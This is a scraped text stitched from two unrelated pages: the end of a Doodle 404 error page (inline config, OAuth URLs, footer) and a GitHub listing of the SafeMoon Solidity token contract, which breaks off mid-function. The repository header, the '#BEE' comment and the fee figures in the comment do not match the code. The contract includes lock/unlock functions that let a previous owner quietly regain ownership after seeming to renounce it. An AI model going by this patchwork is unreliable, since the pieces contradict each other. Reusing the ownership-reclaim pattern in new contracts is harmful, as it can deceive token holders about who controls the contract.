common/oauth2/v2.0/authorize?client_id=de3c96ed-0fa3-4310-8472-290bb8767230&response_type=id_token+code&response_mode=form_post&scope=openid+offline_access+User.Read+Calendars.ReadWrite+Contacts.Read&nonce=j9iuggv35wtibzz3pfjdhf6psu634z03&redirect_uri=https%3A%2F%2Fdoodle.com%2Fmydoodle%2FupgradeOutlookComCodeAndConnect.html&state=%7B%22type%22%3A%22CONTACTS%22%2C%22oauth_anti_csrf_token_cookie%22%3A%22oauth_anti_csrf_token_placeholder%22%7D"}, mandator: {"features":{"useCustomURL":false,"useCustomLogo":false,"quickReply":false,"extraInformation":false,"customTheme":false,"hideAds":false,"useSSL":false},"isMandator":false} }, ads: {}, callbacks: {}, // only used for iframe hacks (and file upload?) adCountingDeferred: $.Deferred(), l10n: null, // Object, set later by <script> tag, so it is cached by the browser templates: null, // Object, set later by <script> tag, so it is cached by the browser staticPageLinks: { currentPage: {"de":"","no":"","fi":"","sv":"","ru":"","pt":"","bg":"","lt":"","en":"","it":"","pt_BR":"","fr":"","hu":"","es":"","eu":"","cs":"","en_GB":"","cy":"","uk":"","pl":"","da":"","ca":"","nl":"","tr":""}, helpLink: "/help", privacyLink: "/privacy-policy", termsLink: "/terms-of-service" }, languages: [{"text":"čeština","value":"cs"},{"text":"Dansk","value":"da"},{"text":"Deutsch","value":"de"},{"text":"English","value":"en"},{"text":"español","value":"es"},{"text":"français","value":"fr"},{"text":"italiano","value":"it"},{"text":"magyar","value":"hu"},{"text":"Nederlands","value":"nl"},{"text":"norsk","value":"no"},{"text":"Português (BR)","value":"pt_BR"},{"text":"suomi","value":"fi"},{"text":"svenska","value":"sv"},{"text":"Türkçe","value":"tr"},{"text":"русский","value":"ru"}] }; // loads doodleJS.data and config $.extend(true, doodleJS, {"data":{"hostName":"worker4","timeZone":"America/Sao_Paulo"},"config":{"cookieDomain":"doodle.com","facebookAppId":"151397988232158","ifhcbPrefix":"hg6sdyqyos89jgd8","textOnly":false,"noLogin":false,"hosts":["http://worker1-test.doodle.com:80","http://worker2-test.doodle.com:80","http://worker4-test.doodle.com:80","http://worker5-test.doodle.com:80","http://worker10-test.doodle.com:80","http://worker11-test.doodle.com:80"],"baseSSLUrl":"https://doodle.com","googleOAuthUrl":"https://accounts.google.com/o/oauth2/auth?client_id=282023944456.apps.googleusercontent.com&redirect_uri=https://doodle.com/api/v2.0/users/google-code-for-login&response_type=code&scope=profile%20email&state=%7B%22is_mobile%22:%22true%22,%22callbackUrl%22:%22https://doodle.com/api/v2.0/users/google-code-for-login%22,%22redirect_uri%22:%22PLACEHOLDERTOREPLACE%22,%22locale%22:%22en%22,%22oauth_anti_csrf_token_cookie%22:%22oauth_anti_csrf_token_placeholder%22%7D","facebookOAuthUrl":"https://graph.facebook.com/v2.8/oauth/authorize?scope=email&client_id=151397988232158&state=%7B%22is_mobile%22%3A%22true%22%2C%22redirect_uri%22%3A%22PLACEHOLDERTOREPLACE%22%2C%22locale%22%3A%22en%22%2C%22oauth_anti_csrf_token_cookie%22%3A%22oauth_anti_csrf_token_placeholder%22%7D&redirect_uri=https%3A%2F%2Fdoodle.com%2Fapi%2Fv2.0%2Fusers%2Ffacebook-code-for-login&display=touch"}}); d = {}; //]]> </script> <script type="text/javascript" src="/np/config?locale=en_US"></script> <script type="text/javascript" src="/np/nls/en_US/l10nScript"></script> <div id="container"> <div id="banner" class="doodleadNonAbs"> </div> <div id="page"> <div id="skyrightcontainer" class="transborder"> <div id="skyright" class="doodlead"> </div> </div> <div id="skyleft" class="doodlead transborder"> </div> <div id="background" class="doodlead"> <div id="dyn"> </div> </div> <div id="doodlecontainer"> <div id="doodle"> <div id="header"> <form id="fakeLoginForm" target="fakeLoginIframe" action="https://doodle.com/np/mydoodle/fakelogister" method="POST" style="display:none "> <input type="text" id="fakeeMailAddress" name="eMailAddress" /> <input type="password" id="fakepassword" name="password" /> <input type="submit" /> </form> <iframe id="fakeLoginIframe" name="fakeLoginIframe" style="display:none "></iframe> <script type="text/javascript"> //<![CDATA[ doodleJS.config.noLogin = true; //]]> </script> <div id="dynamicHeader" class="dynamic-header"><div class="responsive-header hidden-xs"> <div class="fixed-header"> <nav class="navbar navbar-default" role="navigation"> <div> <div class="navbar-header"> <a class="navbar-brand" href="/"> <div class="doodle-logo logo"></div> </a> </div> </div> </nav> </div></div><header class="d-headerView visible-xs"> <div> <a class="d-backOrToHome d-noNavigationText" href="false"> </a> <div class="d-grow"></div> </div></header> </div> <script src="/dist/normal/error-errorTemplate.109031a5a727b3259a5c.js"></script> </div> <noscript> <h3 class="red responsiveContent">We are sorry, but Doodle only works with JavaScript-enabled browsers.</h3> </noscript> <div id="content"> <div class="pageBanner fixedContent" id="dragonDictateWarning" style="display: none;"> <p class="pageBannerText">It seems that you are using the Dragon Dictate. Unfortunately, Doodle is currently not compatible with this browser plugin. You should either deactivate it, or use another browser for Doodle.</p> </div> <div class="contentPart fixedContent"> <div id="errorContent"> <div id="staticContentNon" class=""> <div class="spaceCBefore"> <a href="/"><img class="errorlogo" src="/dist/normal/i/9d6b54a76d5a7e5736b8a305706d33f5.png" /> </a> <h1 class="red error-title">Not found </h1> <div class="red error-code">404!</div> </div> <hr />It appears the page you were looking for doesn't exist. Sorry about that. <br /> <br /> <div class="pageHead spaceABefore spaceAAfter" style="text-align: center;">Maybe you were trying to go to one of these topics? <br /> <div class="maybefind"> <a href="/" class="btn">Home</a> <a href="/create" class="btn">Create poll </a> <a href="/features/calendar-connect" class="btn">Calendars </a> <a href="/account" class="btn">Manage Doodle account </a> <a href="/help" class="btn">Help </a> </div> </div> </div> </div> </div> </div> <div id="footer"> <div class="footer-menu"> <div class="footer-category columns4Layout"> <h4>Doodle</h4> <ul class="unstyled"> <li> <a href="/">Home</a> </li> <li> <a href="/about-doodle">About</a> </li> <li> <a href="http://en.blog.doodle.com/">Blog</a> </li> <li class="hidden-xs"> <a href="/about-doodle/team">Team</a> </li> <li> <a href="/about-doodle/jobs">Jobs</a> </li> <li> <a href="/press">Media Corner</a> </li> <li> <a href="/advertising">Advertise on Doodle</a> </li> </ul> </div> <div class="footer-category columns4Layout"> <h4>Features</h4> <ul class="unstyled"> <li> <a href="/features">Overview</a> </li> <li> <a href="/features/mobile">Doodle Mobile</a> </li> <li class="hidden-xs"> <a href="/premium">Premium Doodle</a> </li> <li> <a href="/features/calendar-connect">Calendar Connect</a> </li> <li class="hidden-xs"> <a href="/meetme">MeetMe</a> </li> <li> <a href="http://support.doodle.com/customer/en/portal/articles/664212">API</a> </li> </ul> </div> <div class="footer-category columns4Layout"> <h4>Support</h4> <ul class="unstyled"> <li> <a href="http://support.doodle.com/customer/portal/articles/761313-what-is-doodle-and-how-does-it-work-an-introduction">First Steps</a> </li> <li> <a href="/help">Help</a> </li> <li> <a href="/help/lost-and-found">Lost admin links</a> </li> <li> <a href="/specials">Use-cases</a> </li> <li><a href="/free-online-survey">Online Survey</a> </li> <li><a href="/meeting-scheduler">Meeting Scheduler</a> </li> <li><a href="/online-calendar">Online Calendar</a> </li> <li><a href="/online-scheduling">Online Scheduling</a> </li> <li><a href="/poll-maker">Poll Maker</a> </li> </ul> </div> <div class="footer-category columns4Layout"> <h4>Legal</h4> <ul class="unstyled"> <li> <a href="/terms-of-service">Terms</a> </li> <li> <a href="/privacy-policy">Privacy</a> </li> <li> <a href="/imprint">Imprint</a> </li> </ul> </div> </div> <div class="footer-copy contentPart"> <div class="row"> <div class="col-sm-4 col-xs-6 copyright"> © 2017 Doodle </div> <div class="col-sm-4 hidden-xs mandator-name"> </div> <div class="col-sm-4 col-xs-6 languageSwitch"> <div id="languageToggler" class="hidden-xs"> <div id="languages"> <div class="tickWhite"></div> <div class="tickBorder"></div> <h3>Choose your language</h3> <div class="languageSwitches"> <a data-language="en">English </a> <a data-language="cy">Cymraeg </a> <a data-language="hu">magyar </a> <a data-language="fi">suomi </a> <a data-language="de">Deutsch </a> <a data-language="da">Dansk </a> <a data-language="nl">Nederlands </a> <a data-language="sv">svenska </a> <a data-language="fr">français </a> <a data-language="en_GB">English (GB) </a> <a data-language="no">norsk </a> <a data-language="tr">Türkçe </a> <a data-language="eu">Basque </a> <a data-language="es">español </a> <a data-language="pl">polski </a> <a data-language="bg">български </a> <a data-language="ca">català </a> <a data-language="it">italiano </a> <a data-language="pt">português </a> <a data-language="ru">русский </a> <a data-language="cs">čeština </a> <a data-language="lt">Lietuvių </a> <a data-language="pt_BR">Português (BR) </a> <a data-language="uk">українська </a> </div> <hr /> <div class="smallText spaceDBefore"> <a href="http://support.doodle.com/customer/portal/articles/891017" target="_blank"> Cannot find your language? Incomplete or wrong translation? <strong> Help us translate Doodle </strong> </a> </div> </div> <div id="languageSwitch"> Choose language: <div class="language-anchor">English ▾</div> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> <script type="text/javascript"> //<![CDATA[ window.setTimeout(function () { // Dragon Dictate defines a global object named nuanria if (typeof(nuanria) !== "undefined" && document.getElementById("dragonDictateWarning")) { document.getElementById("dragonDictateWarning").style.display = "block"; } }, 1000); // seems that plugins are loaded after page //]]> </script> <script src="/dist/normal/ghostbuster.8c9c3bee4a0f89ccd70e.js"></script> <script type="text/javascript"> var ray = new Ghostbuster(); ray.run(function(isDetected) { if (window.dataLayer) { window.dataLayer.push({ page: { ghostbuster: isDetected.toString() } }); } }); </script> </body> </html>
basta1255s / Owntoken.solSkip to content Why GitHub? Team Enterprise Explore Marketplace Pricing Search Sign in Sign up safemoonprotocol / Safemoon.sol 476618 Code Issues 62 Pull requests 4 Actions Projects Wiki Security Insights Safemoon.sol/Safemoon.sol @safemoonprotocol safemoonprotocol Create Safemoon.sol Latest commit 152e907 on Mar 4 History 1 contributor 1166 lines (997 sloc) 42.3 KB /** *Submitted for verification at BscScan.com on 2021-03-01 */ /** *Submitted for verification at BscScan.com on 2021-03-01 */ /** #BEE #LIQ+#RFI+#SHIB+#DOGE = #BEE #SAFEMOON features: 3% fee auto add to the liquidity pool to locked forever when selling 2% fee auto distribute to all holders I created a black hole so #Bee token will deflate itself in supply with every transaction 50% Supply is burned at start. */ pragma solidity ^0.6.12; // SPDX-License-Identifier: Unlicensed interface IERC20 { function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = now + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(now > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } // pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // pragma solidity >=0.6.2; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract SafeMoon is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000 * 10**6 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "SafeMoon"; string private _symbol = "SAFEMOON"; uint8 private _decimals = 9; uint256 public _taxFee = 5; uint256 private _previousTaxFee = _taxFee; uint256 public _liquidityFee = 5; uint256 private _previousLiquidityFee = _liquidityFee; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 public _maxTxAmount = 5000000 * 10**6 * 10**9; uint256 private numTokensSellToAddToLiquidity = 500000 * 10**6 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () public { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F); // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; 